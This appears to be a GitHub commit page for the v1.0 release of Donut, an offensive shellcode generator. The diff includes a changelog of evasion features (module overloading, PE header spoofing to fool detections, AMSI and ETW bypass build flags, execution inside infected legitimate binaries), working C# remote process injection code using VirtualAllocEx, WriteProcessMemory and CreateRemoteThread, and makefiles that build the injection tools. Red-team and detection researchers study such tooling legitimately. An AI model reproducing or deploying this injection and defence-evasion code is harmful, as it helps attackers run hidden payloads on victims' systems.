Skip to content

Commit

Permalink
Merge pull request #121 from TheWover/dev
Browse files Browse the repository at this point in the history
v1.0 - Cruller
  • Loading branch information
TheWover committed Mar 3, 2023
2 parents dafea17 + d47aabe commit d61f83a
Show file tree
Hide file tree
Showing 45 changed files with 6,729 additions and 7,475 deletions.
27 changes: 26 additions & 1 deletion CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,7 +1,32 @@
# Changelog
All notable changes to this project will be documented in this file.

## [0.9.3]
## [v1.0]

### Added

* Added module overloading for native PE payloads. Hides them in MEM_IMAGE memory backed by a decoy file on disk
* If donut is set to mutate native PE headers, then for module overloads it will overwrite the payload's PE headers with those of the decoy file to fool some detections of module overloading
* Added an option to block indefinitely after running the payload
* Added Dockerfile to create a docker image for generating donut shellcode
* Added support for binaries without relocation information or with certain edge cases for relocation information
* Added custom GetProcAddress and LoadLibrary replacement functions that will only call those Win32 API calls as fallbacks
* Better documentation for debugging, designing with, and integrating Donut.
* Added moduler bypass system for ETW
* Added option for preserving or overwriting PE headers of native payloads
* Added an inject_local.exe that runs shellcode in the current process for testing purposes
* C# output generator
* Python output generator
* UUID string output generator

### Changed

* The -y switch now uses the value provided as an offset from the base address of the process's executable module. So, for example, if you have injected donut into an infected, legitimate PE file, then once donut completes it will create a thread at the provided offset of that legitimate PE, allowing it to resume its legitimate execution and do what it was supposed to do in the first place.
* Fixed some issues with the MingW makefile (#96)
* Fixed and improved all makefiles
* Fixed the Python module

## [v0.9.3]

### Added

Expand Down
2 changes: 2 additions & 0 deletions DemoCreateProcess/Class1.cs
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,8 @@ public class TestClass
{
public static void RunProcess(string path, string path2)
{
System.Console.WriteLine("[STDOUT] Running {0} and {1}...", path, path2);
System.Console.Error.WriteLine("[STDERR] Running {0} and {1}...", path, path2);
Process.Start(path);
Process.Start(path2);
}
Expand Down
30 changes: 27 additions & 3 deletions DemoCreateProcess/Readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,11 +5,35 @@ A simple C# program to use as a demo for testing shellcode. It takes two program
64-bit:

```
.\donut.exe .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
.\donut.exe -i .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
```

32-bit:

```
.\donut.exe -a 1 .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
```
.\donut.exe -i -a 1 .\DemoCreateProcess\bin\Release\DemoCreateProcess.dll -c TestClass -m RunProcess -p "notepad.exe calc.exe"
```

# Building on Linux

This project can be built on Linux using Mono and xbuild. First, follow the official [instructions](https://www.mono-project.com/download/stable/#download-lin) for install Mono. Then, install `mono-xbuild`.

To build the project, simply `cd` to its root directory and run:

```
xbuild
```

To build in Release mode, run:

```
xbuild /p:Configuration=Release
```

If receiving errors about missing dependencies, try specifying the targeted .NET version:

```
xbuild /p:TargetFrameworkVersion="v4.5"
```

Once the project has been successfully built, the output DLL may be used as input to the Donut shellcode generator.
16 changes: 16 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
FROM ubuntu:22.04

RUN apt-get update
RUN apt-get install --no-install-recommends --no-install-suggests -y \
mingw-w64 zip build-essential perl python xml2 pkg-config automake \
libtool autotools-dev make g++ git ruby wget libssl-dev

WORKDIR /opt
RUN git clone https://github.com/TheWover/donut.git
WORKDIR /opt/donut
RUN make -f Makefile

WORKDIR /workdir
RUN chmod ugo+wrx /workdir
RUN ls /opt/donut
ENTRYPOINT ["/opt/donut/donut"]
61 changes: 52 additions & 9 deletions DonutTest/Program.cs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
/* Author: TheWover
Description: Injects embedded base64-encoded shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
Last Modified: 11/1/2018
/* Author: TheWover
Description: Injects shellcode into an arbitrary hardcoded process using native Windows 32 API calls.
Last Modified: 03/28/2020
*/
using System;
using System.Diagnostics;
Expand All @@ -18,9 +18,23 @@ public class Program
static void Main(string[] args)
{
if (args.Length >= 1)
{
pid = Convert.ToInt32(args[0]);

Inject(x86, x64, pid);
//If a raw shellcode file was provided as a second argument
if (args.Length == 2)
{
Console.WriteLine("[+] Reading shellcode from {0}.", args[1]);

Inject(System.IO.File.ReadAllBytes(args[1]), pid);
}
else
{
Console.WriteLine("[+] Using embedded shellcode.");

Inject(x86, x64, pid);
}
}
}

[DllImport("kernel32.dll")]
Expand Down Expand Up @@ -55,6 +69,20 @@ static void Main(string[] args)
const uint PAGE_READWRITE = 4;
const uint PAGE_EXECUTE_READWRITE = 0x40;


/// <summary>
/// An entry point callable from Donut or other Reflection-based loaders.
/// </summary>
/// <param name="procPID">The PID of the target process, as a string</param>
public static void Run(string procPID)
{
int pid = Convert.ToInt32(procPID);

Console.WriteLine("[+] Using embedded shellcode.");

Inject(x86, x64, pid);
}

/// <summary>
/// Injects shellcode into the target process using CreateRemoteThread, using the correct version for the process's architecture.
/// </summary>
Expand All @@ -69,24 +97,39 @@ public static int Inject(string x86, string x64, int procPID)
Console.WriteLine(targetProcess.Id);

string s;

if (IsWow64Process(targetProcess) == true)
s = x86;
else
s = x64;

byte[] shellcode = Convert.FromBase64String(s);

IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);
if (Inject(shellcode, procPID) != IntPtr.Zero)
Console.WriteLine("[!] Successfully injected into {0} ({1})!", targetProcess.ProcessName, procPID);
else
Console.WriteLine("[!] Failed to inject!");

return 0;
}

/// <summary>
/// Injects raw shellcode into the target process using CreateRemoteThread.
/// </summary>
/// <param name="shellcode">The shellcode to inject.</param>
/// <param name="procPID">The PID of the target process.</param>
/// <returns></returns>
public static IntPtr Inject(byte[] shellcode, int procPID)
{
IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, procPID);

IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)shellcode.Length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

UIntPtr bytesWritten;
WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)shellcode.Length, out bytesWritten);

CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
return CreateRemoteThread(procHandle, IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);

return 0;
}

[System.Runtime.InteropServices.DllImport("kernel32.dll")]
Expand All @@ -103,4 +146,4 @@ public static bool IsWow64Process(Process process)
return retVal;
}
}
}
}
26 changes: 25 additions & 1 deletion DonutTest/Readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -15,4 +15,28 @@ Usage:
DonutTest.exe [PID]
If no PID is specified, then DonutTest will inject the shellcode into itself.
```
```

# Building on Linux

This project can be built on Linux using Mono and xbuild. First, follow the official [instructions](https://www.mono-project.com/download/stable/#download-lin) for install Mono. Then, install `mono-xbuild`.

To build the project, simply `cd` to its root directory and run:

```
xbuild
```

To build in Release mode, run:

```
xbuild /p:Configuration=Release
```

If receiving errors about missing dependencies, try specifying the targeted .NET version:

```
xbuild /p:TargetFrameworkVersion="v4.5"
```

Once the project has been successfully built, the output DLL may be used as input to the Donut shellcode generator.
9 changes: 8 additions & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -5,9 +5,16 @@ donut: clean
gcc -Wall -shared -o lib/libdonut.so donut.o hash.o encrypt.o format.o clib.o lib/aplib64.a
debug: clean
gcc -Wunused-function -ggdb -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.a -odonut

gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject.c -oinject
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject_local.c -oinject_local
hash:
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include hash.c loader/clib.c -ohash
encrypt:
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include encrypt.c loader/clib.c -oencrypt
inject:
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject.c -oinject
inject_local:
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include loader/inject_local.c -oinject_local
clean:
rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so
rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so inject32.exe inject64.exe inject_local32.exe inject_local64.exe
15 changes: 10 additions & 5 deletions Makefile.mingw
Original file line number Diff line number Diff line change
Expand Up @@ -6,17 +6,22 @@ donut: clean
gcc -I include loader/exe2h/exe2h.c -oexe2h
$(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe

$(CC32) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
$(CC32) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
./exe2h loader.exe

$(CC64) -DBYPASS_AMSI_A -DBYPASS_WLDP_A -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
$(CC64) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
./exe2h loader.exe

$(CC64) -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
debug: clean
$(info ###### DEBUG ######)
$(CC32) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi
$(CC64) -DCLIB -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi
$(CC32) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi
$(CC64) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi
$(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
$(CC32) -Wall loader/inject.c -oinject32.exe
$(CC64) -Wall loader/inject.c -oinject64.exe
$(CC32) -Wall loader/inject_local.c -oinject_local32.exe
$(CC64) -Wall loader/inject_local.c -oinject_local64.exe
clean:
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe inject32.exe inject64.exe inject_local32.exe inject_local64.exe

23 changes: 17 additions & 6 deletions Makefile.msvc
Original file line number Diff line number Diff line change
Expand Up @@ -3,29 +3,40 @@ donut: clean
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c

@echo ###### Building loader ######
cl -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
exe2h loader.exe

@echo ###### Building generator ######
rc include/donut.rc
cl -Zp8 -nologo -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include/donut.res
rc include\donut.rc
cl -Zp8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib include\donut.res
cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
move donut.lib lib\donut.lib
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll

@echo ###### Building injection testing tools ######
cl -Zp8 -nologo -DTEST -I include loader\inject.c
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
debug: clean
cl /nologo -DDEBUG -DBYPASS_AMSI_A -DBYPASS_WLDP_A -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj
cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj

cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
move donut.lib lib\donut.lib
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll

cl -Zp8 -nologo -DTEST -I include loader\inject.c
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
hash:
cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c
encrypt:
cl -Zp8 -nologo -DTEST -I include encrypt.c
inject:
cl -Zp8 -nologo -DTEST -I include loader\inject.c
inject_local:
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
clean:
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj depack.obj format.obj clib.obj hash.exe encrypt.exe donut.exe lib\libdonut.lib lib\libdonut.dll
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj inject.obj inject_local.obj depack.obj format.obj clib.obj exe2h.exe loader.exe hash.exe encrypt.exe inject.exe inject_local.exe donut.exe lib\donut.lib lib\donut.exp lib\donut.dll include\donut.res
42 changes: 42 additions & 0 deletions Makefile_x86.msvc
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
donut: clean
@echo ###### Building exe2h ######
cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c

@echo ###### Building loader ######
cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
exe2h loader.exe

@echo ###### Building generator ######
rc include\donut.rc
cl -Zp8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib include\donut.res
cl -Zp8 -nologo -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib
move donut.lib lib\donut.lib
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll

@echo ###### Building injection testing tools ######
cl -Zp8 -nologo -DTEST -I include loader\inject.c
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
debug: clean
cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj

cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib32.lib
move donut.lib lib\donut.lib
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll

cl -Zp8 -nologo -DTEST -I include loader\inject.c
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
hash:
cl -Zp8 -nologo -DTEST -I include hash.c loader\clib.c
encrypt:
cl -Zp8 -nologo -DTEST -I include encrypt.c
inject:
cl -Zp8 -nologo -DTEST -I include loader\inject.c
inject_local:
cl -Zp8 -nologo -DTEST -I include loader\inject_local.c
clean:
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj inject.obj inject_local.obj depack.obj format.obj clib.obj exe2h.exe loader.exe hash.exe encrypt.exe inject.exe inject_local.exe donut.exe lib\donut.lib lib\donut.exp lib\donut.dll include\donut.res

0 comments on commit d61f83a

Please sign in to comment.